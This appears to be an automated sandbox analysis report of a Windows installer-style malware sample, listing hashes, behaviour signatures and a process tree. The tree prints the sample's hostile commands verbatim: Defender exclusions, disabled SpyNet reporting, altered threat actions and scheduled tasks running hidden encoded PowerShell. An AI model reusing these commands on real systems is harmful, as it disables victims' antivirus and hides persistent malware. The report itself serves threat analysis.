Analysis

  • max time kernel
    132s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/11/2022, 02:25

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    dfc435da63e4661b2c9a324f9ab8f2f6

  • SHA1

    5868640be7374cc770741c850302884435c0409c

  • SHA256

    459a2748c8a6d9c72c32b5715d8aa3a1c0978077a7b16c84183b6398281c5604

  • SHA512

    2d5b0160b37d5a37ba1a0a4993443f2f1fcd998fb83f98a24c7b396137fe77c54ee97600b5b1f9251a0e2e51804e7bf6f3ea3924eb49879d2b4609f47823aa95

  • SSDEEP

    196608:91O6dO5ttBqSN9OBCp5oecFc1u9R5oDleQeQZheU:3O6dOVBVzO6acc9XKVeQjeU

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4820
    • C:\Users\Admin\AppData\Local\Temp\7zS862C.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:924
      • C:\Users\Admin\AppData\Local\Temp\7zS8B2E.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:2220
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4892
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1412
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:4628
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:640
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1284
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3096
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:644
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:3900
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gQLfyIsaa" /SC once /ST 02:29:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4660
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gQLfyIsaa"
                  4⤵
                    PID:220
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gQLfyIsaa"
                    4⤵
                      PID:4748
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bhCXYHDqWKjBKHFGxm" /SC once /ST 03:26:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\rGlQBArSxsGkYLmXo\ImNPqrGKElSfAei\NpJZFUK.exe\" X4 /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:2308
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2088
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:2604
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:2180
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:3588
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:988
                      • C:\Users\Admin\AppData\Local\Temp\rGlQBArSxsGkYLmXo\ImNPqrGKElSfAei\NpJZFUK.exe
                        C:\Users\Admin\AppData\Local\Temp\rGlQBArSxsGkYLmXo\ImNPqrGKElSfAei\NpJZFUK.exe X4 /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:1184
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:5052
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3292
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:3060
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4692
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:1828
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:2900
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:376
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:2092
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:2236
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:2572
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:452
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2244
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:3356
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:4864
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:3404
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:1064
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:812
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4176
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4672
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4892
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:2196
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:2104
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:1744
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1680
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:3536
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:1916
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RmIuiaUkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RmIuiaUkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eDwjHUlQleiMyYJGGLR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eDwjHUlQleiMyYJGGLR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lKYgjwJOgvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lKYgjwJOgvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uDDeUXeESnNQC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uDDeUXeESnNQC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wRBWtgmhNVeU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wRBWtgmhNVeU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\ZfiCmUjLAGfhaMVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\ZfiCmUjLAGfhaMVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rGlQBArSxsGkYLmXo\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rGlQBArSxsGkYLmXo\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\lQBNidPHeEdsbZIs\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\lQBNidPHeEdsbZIs\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:208
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RmIuiaUkU" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:2424
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RmIuiaUkU" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:2632
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RmIuiaUkU" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:988
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eDwjHUlQleiMyYJGGLR" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:2292
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eDwjHUlQleiMyYJGGLR" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:4472
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lKYgjwJOgvUn" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:4424
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lKYgjwJOgvUn" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4608
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uDDeUXeESnNQC" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:2636
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uDDeUXeESnNQC" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:2144
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRBWtgmhNVeU2" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:4496
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRBWtgmhNVeU2" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4336
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\ZfiCmUjLAGfhaMVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2852
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\ZfiCmUjLAGfhaMVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:1060
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rGlQBArSxsGkYLmXo /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:424
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rGlQBArSxsGkYLmXo /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4228
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\lQBNidPHeEdsbZIs /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:440
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\lQBNidPHeEdsbZIs /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:2604
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gLauHIjxH" /SC once /ST 02:10:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:3500
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gLauHIjxH"
